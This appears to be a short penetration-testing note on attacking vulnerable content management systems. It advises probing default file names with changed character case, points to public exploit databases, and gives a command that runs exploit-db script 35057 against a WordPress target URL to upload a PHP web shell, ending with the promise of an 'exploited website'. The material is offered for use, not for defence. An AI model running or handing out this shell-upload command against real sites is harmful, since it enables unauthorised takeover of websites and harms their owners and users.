Vulnerable CMS

• Try changing the character case of the default file names and see if you are still able to access them.

• Thoroughly go through these websites (wpvulndb.com and exploit-db.com) and see what more can be done using them.

https://www.exploit-db.com/exploits/35057 file python to use as shell upload

python 35057.py -t {url} -c wordpress  -f shel.php

you will see the upload shell and exploited website result